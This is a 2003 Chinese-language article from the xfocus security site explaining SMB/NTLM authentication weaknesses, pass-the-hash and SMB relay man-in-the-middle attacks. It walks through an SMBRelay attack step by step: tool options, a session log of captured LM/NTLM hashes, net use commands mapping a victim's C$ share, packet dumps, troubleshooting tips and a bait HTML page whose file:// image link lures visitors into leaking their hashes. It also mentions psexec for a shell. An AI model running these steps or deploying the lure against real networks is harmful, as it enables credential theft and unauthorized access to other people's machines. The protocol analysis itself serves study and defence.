xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 English Version

浅谈smb会话劫持具体实现


创建时间:2003-05-27
文章属性:原创
文章提交:ciel (106130_at_sohu.com)

作者:幻影旅团 CIEL
幻影旅团:http://www.ph4nt0m.net/bbs/
E-MAIL:106130@SOHU.COM
    最近SMB会话劫持一度成为热点,其实关于这方面的文档早就很齐全了,比如加密机制,存在的弱点等等。
这篇文章没有什么技术性的东西,只是让大家了解这方面攻击过程的具体实现。
    先从2个工具谈起吧,SMBPROXY和SMBRELAY,一般来说,如果拿到一个远程主机NTLMHash密码信息, 一般都会使用暴力破解来获取密码,SMBPROXY则可以使用proxy方式与远程主机验证登陆,来达到快速进入的目的,一般这种文件的格式如下
username:id:LANMAN hash:NTLM hash:::
admin:1003:CCF9155E3E7DB453AAD3B435B51404EE:3DBDE697D71690A769204BEB12283678:::
实际上,如果我们采用了CAIN,SCOOPLM或者LC4也有可能嗅探到一些SMB会话信息。格式如下
Username\Domain:"":"":Case insensitive password:Case sensitive password:Challenge
Administrator:"":"":89E5E3F54A998398DC36E89DDD37334C801201CA39C9A5D3:8457623684F27A5EFA5FE7B647E87C36D78616F80594123C:E3A96FF4507B9EDF
    可以看出来,2者无论在形式还是内容上都是存在很大差距的,不过LC4对于这2种格式的密文都是可以破解的。事实上,SMBPROXY只能利用第一种格式的文件,至于为何无法利用嗅探到的数据格式,就得从SMB会话加密机制谈起。
    早期SMB协议在网络上传输明文口令。后来出现"LAN Manager Challenge/Response"验证机制,简称LM,但是很容易被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新NTLMv2以及Kerberos验证体系。
假如A机器试图访问B机器某共享资源的时候,A机器会发送当前登陆的用户名和密码,由B机器进行验证,此时B机器会随机产生8字节的挑战(Challenge),送往A机,A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应,并发往B,B从SAM中获取A发送的用户名的LM Hash、NTLM Hash,计算出DESKEY,并对前面发往A的挑战进行标准DES加密,如果双方比较结果一致,那么就算通过验证。如果这次的验证无法成功,才会提醒用户输入用户名和密码,也就是我们常见的验证框。由用户填入用户名和密码后再用同样的方式进行下一轮的加密--验证
(注意:这里的会话机制仅限于NT,2K,如果98,WINME向2K或者NT提出请求的话,你是无法选择用户名的,默认的用户名就是你当前登陆名)
    我们先来看看SMBPROXY工作原理,因为PWDUMP截取的文件里后面一排就是NTLM HASH,这里的HASH直接进行DES加密--发送--验证,省去了明文口令加密的那一步,所以,实际上就不需要获取什么明文口令了
下面就是工作图例:
Legend: H:把明文口令加密的算法
        E  DES 加密算法
        D  Decryption
        P  是明文口令
        S=H(P)  明文口令加密后的HASH,贮存在SAM中,
        N  挑战
        A  客户端
        B  服务器
Windows NT/2000 login:
1. A=>B: 发出请求
2. B=>A: N
3. A=>B: E(N,H(P))
服务器检查的是S=D(N,E(N,H(P))) 或者 E(N,S)=E(N,H(P)).

事实上,S我们是可以通过PWDUMP获得的,也就是说,P已经不需要暴力破解了

Windows NT/2000 "passing the hash":
1. A=>B: 发出请求.
2. B=>A: N
3. A=>B: E(N,S)
发送S=D(N,E(N,S)) 则必然可以通过主机验证,我们此时就是你发送S的用户身份,如果你发送的是管理员的
S值,你就是管理员!


在谈SMBRELAY之前我们先看看下面的一段文档
1997年2月6日,Dominique Brezinski <dominique.brezinski@CyberSafe.COM>对外
发布了一份关于Windows NT身份验证机制脆弱性的文档
假设有主机B与A
(1) A向B发起连接请求
(2) B向A发送挑战(一组随机数据,8字节)
(3) A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应,并发往B
(4) B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对前面发往A的挑战进
    行标准DES加密
(5) 如果(4)中计算结果与A送过来的响应匹配,A被允许访问B
现在假设一个攻击者C卷入其中
(1) C向B发起连接请求
(2) B向C发送挑战D(一组随机数据)
(3) C等待A向B发起连接请求
(4) 当A向B发起连接请求时,C伪造成B向A发送挑战D
(5) A用源自明文口令的DESKEY对挑战D进行标准DES加密得到响应E,并发往B
(6) C截获到响应E,将它做为针对(2)中挑战D的响应发往B,并声称自己是A
(7) B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对挑战D进行标准DES
    加密
(8) 如果(7)中计算结果与C送过来的响应匹配,C被允许以A的身份访问B。



   在今天,如果攻击者只是采用一般的旁者嗅探方式,嗅探得到的HASH中,LM CLI-CHALL无法得到(全为0),哪怕自己的地位是SMB SERVER!这里,我给出2种情况让大家比较
第一种情况:我自己做为SMB SERVER ,由其他机器充当客户的角色访问我的共享资源所抓到的一段数据
Administrator:"":"":5FA055E5F1819F2900000000000000000000000000000000:FACEAAE8DD420A0EA8EBB15B6FC499CF38B0C5B3B616FE38:D29F5CC5DC662A91
这是一段嗅探到的不完整的加密数据,由于LM CLI-CHALL没有能够获取到,所以也就无法被我们利用。
第2种情况:如果我们自己充当CLI,向SMB SERVER发出请求
Administrator:"":"":89E5E3F54A998398DC36E89DDD37334C801201CA39C9A5D3:8457623684F27A5EFA5FE7B647E87C36D78616F80594123C:E3A96FF4507B9EDF
这里就比较完整了,如果倒入LC4破解,最终得到的就是我自己的口令。

    事实上,为什么SMBRELAY工作的时候我们能获取到完整的机密数据,包括LN HASH,NT HASH,NT SERV-CHALL,LM CLI-CHALL?原因在于攻击者欺骗了SERV和CLI双方,担任了所有数据的转发。这个时候,就属于第2种情况,我们就能抓到CLI发送给SER的可破解HASH。
下面先简单介绍一下SMBRELAY的工作原理:
预定一下:A是攻击者,TS是SMB服务器,TC是客户机。A开始对双方进行欺骗。
1:TC企图访问TS的共享资源的时候,他先连接的是A
2:A向TS发送一个企图访问的请求
3:TS给予确认,允许连接
4:A假装成TS,发送一个允许连接的确认回应TC,而此时的A则再假装成TC,向TS询问:“would you like to     talk to me as if I'm an NT 4 box without extended security?”(一种不安全的会话机制,简称        为J会话)
5:TS允许A的请求,随机产生挑战,发送给A
6:A则对TC使用J对话方式,并且发送一组挑战
6:TC随即用A发送来的挑战对当前用户名和密码进行加密,发送给A
7:A将数据转交给TS
8:TS表示验证通过
9:A断开与TC的连接,直接以TC的身份与TS会话,这时候,A就可以与TS进行IPC连接,映射硬盘,甚至获取       SHELL
SMBRELAY所做的工作,就是通过NAT(Network Address Translator)或者iptables对数据进行了重定向,
并且将TS的139端口绑向TC,所以我们后来映射TS的硬盘时,实际上却是TC的硬盘。这也是运行SMBRELAY的
主机139端口不能被占用的原因。

为了更好的理解其工作流程,我们可以结合一次攻击过程来分析
先详细介绍一下SMBRELAY的用法吧
用法:SMBRELAY [选项]
/D NUM   --设置调试登级,可以选择0,1,2。默认是0
/E       --列举本机网卡的接口,转发数据的时候,如果这里没选择好,可能什么都抓不到
/IL  NUM --设定在添加本地IP地址时,使用的网卡接口号。
/IR  NUM --设定在添加代理IP地址(就像使用了smbporxy的那种IP地址)时,使用的网卡接口号。默认是1              你可以使用/E参数来列举网卡的接口号。
/L[+] IP --设定要接收NetBIOS信息的本地IP地址。使用+是为了设置第一次在NIC(网络接口卡)中添加的              IP地址,默认是使用本机的当前IP地址。
/R[-] IP --设定代理IP地址的起始端。使用-是为了设置第一次在NIC(网络接口卡)中添加的IP地址,默认           是使用192.1.1.1
/S name  --设定原始机器(诱饵IP)的名字,默认是CDC4EVER

必须注意的地方:
  
   1:在win2k上,如果系统一直使用139端口,SMBRelay将不能正常的工作---绑定到139端口,因为Microsoft有自己的一套系统自我保护的制度。解决这个问题的最简单的方法就是使用/L+参数来建立一个新的IP地址在我们自己的NIC(网络接口卡),并且你的目标将先连接这个新建的IP,而不是你的真正IP。另外一种方法是在控制版面中手动添加一个IP地址,然后使用/L来指定使用这个IP地址。
   2:如果可以的话,SMBRelay将绑定系统的139端口,但是并不是说能够正确绑定就能够正确的接收连接信息。当SMBRelay绑定139端口时,如果系统存在任何的139端口的连接(包括TIME_WAIT状态的),它将很有可能不能够正常工作。win98下则不会接收到任何的连接信息。在Windows NT下,SMBRelay也可能是只能够接收到部分连接信息。就因为这个,我经常执行了几个SMBRelay,用以增加得到信息的可能性。在Windows 2000下,如果系统正在使用将不允许SMBRelay的绑入。
   3:在你电脑上建立新的IP地址的时候,你必须特别注意的是在使用/IR或/IL参数时,你应该指定的使用的网卡接口号。使用/E参数来列举网卡接口,和他们的参数。在NT系统中,网卡接口号很简单;在win2k中,他们使用稿字节,所以使用16进制数来表示。如果你不使用/IR参数来设置代理的网络接口(IP地址)时,默认是使用1号网络接口,这将造成只能够使用你的系统来连接的结果。



下面我们就来看看SMBRELAY的某次工作流程
说明::这次攻击过程虽然只需要2台机器,实际上采用了3个IP,构成了中间人攻击的条件
关于IP地址的说明:
我的IP是11.197.248.212,可是SMBRELAY无法运行在这个IP上,因为只有禁用了139端口才能运行SMBRELAY,可是一旦139被禁用,也就无法用NET USE \\IP连接TS。11.197.248.154是一个未被使用的IP地址,我用SBRELAY
虚拟出一个SMB SERVER:11.197.248.154,测试的时候,实际上是
249(受害机器-TC)----212(攻击者-A)----154(SMB服务器-TS)

---------------------------------------------------------------------
D:\>smbrelay.exe /IL 2 /IR 2 /L+ 11.197.248.154 /R- 11.197.248.154
/*这里把代理IP指定154,所以下面映射的时候指定IP为154*/
SMBRelay v0.981 - TCP (NetBT) level SMB man-in-the-middle relay attack
Copyright 2001: Sir Dystic, Cult of the Dead Cow
Send complaints, ideas and donations to sirdystic@cultdeadcow.com
Using local adapter index 2: PCI Bus Master Adapter
Local IP address added to interface 2
Bound to port 139 on address 11.197.248.154
Connection from 12.114.28.249:1915              /*这里249向154发起请求*/
Request type: Session Request  72 bytes
Source name: VODSER          <00>
Target name: *SMBSERVER      <20>
Setting target name to source name and source name to 'CDC4EVER'...
Response:     Positive Session Response  4 bytes

Request type: Session Message  137 bytes
SMB_COM_NEGOTIATE
Response:     Session Message  115 bytes
Challenge (8 bytes):    33C0E036880693BB        /*249向154发出的挑战*/

Request type: Session Message  290 bytes
SMB_COM_SESSION_SETUP_ANDX
Password lengths: 24 24
Case insensitive password:  FA31DD7DA7659D4DB6273B2AC9AF9FCCEA912F843B5A1874  /*LM HASH*/
Case sensitive password:    E53DFF557C5E7C37FD34FB5FD959CC26DB335F4C2AB44585  /*NTLM HSHA*/
Username:     "UUSER_VODSER"
Domain:       "VODSER"
OS:           "Windows 2000 2195"
Lanman type:  "Windows 2000 5.0"
???:          ""
Response:     Session Message  154 bytes
OS:           "Windows 5.0"
Lanman type:  "Windows 2000 LAN Manager"
Domain:       "WORKGROUP"

/*到了这里,由于212成功的充当了中间人的角色,所以获取了所有敏感信息,包括249的Challenge,LM HASH ,NTLM HASH,3个要素全部抓取,已经可以导入LC4破解了*/

Password hash written to disk  
/*用户名和破解需要的3组数据被完整保留到硬盘*/

Connected?
Bound to port 139 on address 11.197.248.154 relaying for host VODSER 12.114.28
.249
--------------------------------------------------------------------------------
这里154的139端口实际上绑向249,我们已经能够与154成功建立连接,实际上是连向的249
这个时候,我们就可以不需要密码向154建立IPC连接,身份当然是249登陆用户的,如果映射154的硬盘,
实际上也是指向249,
-------------------------------------------------------------
开启另外一个CMD,输入:
E:\>net use \\11.197.248.154
命令成功完成。


E:\>net use h: \\11.197.248.154\c$
命令成功完成。
-----------------------------------------------------
下面是SMBRELAY的显示:
Connection rejected: 12.114.28.249 already connected
*** Relay connection for target VODSER received from 11.197.248.212:1615
*** Sent positive session response for relay target VODSER
*** Sent dialect selection response (5) for target VODSER
*** Sent SMB Session setup response for relay to VODSER

这时候,本机上的H盘就是映射的249的C盘
至此,一次完整的中间人攻击完成。当然,如果对方ADMIN$是打开的,我们还可以用psexec获得SHELL
个人测试的时候,由于机器情况的不同,这里的命令输入可能也是有差距的。

下面是操作中用IRIS抓取的部分数据包,由于212与154在同一个机器上,所以他们之间的数据通讯我们无法抓取的,不过212参与其中数据转发的过程还是可以被记录下来的
先是249向154提出会话请求,那些包没有什么实质内容,省略。。
这里249开始发出挑战
249----->154
00 00 E8 7B CA 4E 00 08 E3 08 43 0B 08 00 45 00  ...{.N....C...E.
00 70 FC 89 40 00 7C 06 54 45 CA 72 0F F1 DA C5  .p..@.|.TE.r....
F8 8F 10 38 00 8B 53 28 E2 07 D2 43 19 3E 50 18  ...8..S(...C.>P.
44 70 46 19 00 00 81 00 00 44 20 43 4B 46 44 45  DpF......D CKFDE
4E 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43  NECFDEFFCFGEFFCC
41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 46  ACACACACACA. EHF
44 43 4E 45 4B 45 47 44 41 44 43 43 41 43 41 43  DCNEKEGDADCCACAC
41 43 41 43 41 43 41 43 41 43 41 41 41 00        ACACACACACAAA.
212----->249
249----->212
212----->249  (一些无关的会话内容我会省略)
212----->249
00 08 E3 08 43 0B 00 00 E8 7B CA 4E 08 00 45 00  ....C....{.N..E.
00 70 08 7C 40 00 80 06 44 69 DA C5 F8 79 CA 72  .p.|@..Di...y.r
0F F1 04 8C 00 8B D2 43 B8 81 53 2A 16 BB 50 18  .......C..S*..P.
44 70 8C E7 00 00 81 00 00 44 20 45 48 46 44 43  Dp.......D EHFDC
4E 45 4B 45 47 44 41 44 43 43 41 43 41 43 41 43  NEKEGDADCCACACAC
41 43 41 43 41 43 41 43 41 43 41 00 20 45 44 45  ACACACACACA. EDE
45 45 44 44 45 45 46 46 47 45 46 46 43 43 41 43  EEDDEEFFGEFFCCAC
41 43 41 43 41 43 41 43 41 43 41 42 45 00        ACACACACACABE.
249----->212
154----->249
...8..S(.O.C.BP.Dl.&.......SMBr.....S......................b..PC NETWORK PROGRAM 1.0..LANMAN1.0..Windows for Workgroups 3.1a..LM1.2X002..LANMAN2.1..NT LM 0.12.
249----->154
.......C..S*..P.DlK........SMBr............................b..PC NETWORK PROGRAM 1.0..LANMAN1.0..Windows for Workgroups 3.1a..LM1.2X002..LANMAN2.1..NT LM 0.12
注意:这里我剪断了一些多余的会话,可以更清晰的比较,看出这里是双方达成一种会话机制
估计就是上面提到的“would you like to talk to me as if I'm an NT 4 box without
extended security?”它们建立NBT会话并发送SMB_COM_NEGOTIATE(0x72)请求报文,指定使用
"NT LM 0.12" dialect。在用户级共享(与之相对的是共享级共享)中"NT LM 0.12"是首选SMB dialect。
从这里开始,出现下面三组对话
第一组249----->212
      154----->249

第二组249----->212
      154----->249

第三组249----->154
      212----->249
我之所以这么分组,是由于他们两两交流的数据内容完全一致,上面说过,212与154的数据交流无法捕捉到
但在这里很容易的可以想象到,实际上,212承担了中转数据的任务
事实上,数据交换的流程应该这样:249--->212--->154--->249
到了这里,212完全掌握了所有会话,敏感资料全部获取,接下来,利用SMB重定向,212就无须密码,
直接可以对249为所欲为了

下面我们详细分析一下里面欺骗过程。从上面的数据包中可以看见
当249试图连接154时,会建立NBT会话并发送SMB_COM_NEGOTIATE(0x72)请求报文,
就dialect进行协商。一般最终协商结果都是使用"NT LM 0.12" dialect。
212注意到这个协商请求,于是伪装成154向249发送响应报文,encryption key字段中
设置成之前保存下来的挑战。这个响应报文的源IP设置成154的IP地址,需要分析249送往154的SMB_COM_NEGOTIATE(0x72)请求报文以设置响应报文的th_ack字段。212本来就扮演着249与1
54之间路由器一类的角色。来自154的正常响应报文做为重复数据而被丢弃。此时249生成两组
24字节响应,向154发送SMB_COM_SESSION_SETUP_ANDX(0x73)请求报文。212注意到这个请求,获
取了249生成的两组24字节响应,然后212也构造一个SMB_COM_SESSION_SETUP_ANDX(0x73)请求报文,
用这两组24字节响应分别设置CaseInsensitivePassword、CaseSensitivePassword字段。
同时在AccountName字段设置249的用户名。212将这样一个伪造的0x73请求报文通过最初
建立的NBT会话发往154。至此212将获取一条到154的SMB会话,拥有249用户的权限。
最后SMBRELAY将154的139端口重定向249,我们就能直接访问249了

实际操作中可能出现的问题:
1:网卡指定一定不能错,否则就可能会遇到ERROR。。。。连最基本的HASH都抓不到。
2:一般如果总是不能成功的话,建议还是借助第3方机器。
3:据说电信用户可能会有点麻烦,不过CZY好象也成功了。我没试过
4:有些人可能HASH能抓取,可是连接时会报错,这时候可能是PROXY机器出的问题,具体哪一步
   具体情况具体分析:)
5:不是说能够正确绑定就能够正确的接收连接信息。当SMBRelay绑定139端口时,如果系统存在任何的139端口   的连接(包括TIME_WAIT状态的),它将很有可能不能够正常工作。建议多绑定几个,以增加得到信息的可     能在在Windows 2000下,如果系统正在使用将不允许SMBRelay的绑入。
6:非意料事件,比如网络很坏的时候,可能半天抓不到,或者索性报错(教育网质量实在不稳定)。
   如果跑SMBRELAY的机器负荷很大时,可能连接时也会报错。最可恶的就是如果这时候有人扫描SMB SERVER,
   如果不重启动SMBRELAY,下面可能什么事情都做不了了
7:如何引诱别人上钩:
   构造一个如下的网页
   <html>
   <title>本网页可以抓取你的HASH</title>
   <p><p align=center>
   <img src="file://陷阱IP/C$/A.JPG">            /*比如上面的例子中,陷阱IP是11.197.248.154*/
   </body>
   </html>

如果你想了解其中更多的细节,比如口令加密技术,SMBRELAY的工作代码,你可以查阅下面列出的参考资料

参考资料:
绿盟月刊37期SMB系列(5)--LM/NTLM验证机制,作者:小四 <scz@nsfocus.com>
SMB/CIFS BY THE ROOT(Phrack60-0x0b)
http://www.ph4nt0m.net/bbs/dispbbs.asp?boardID=22&RootID=24519&ID=24519&page=2翻译:MIX
SMBRELAY的源代码下载:smbrelay.cpp
E文说明文件:smbrelay.html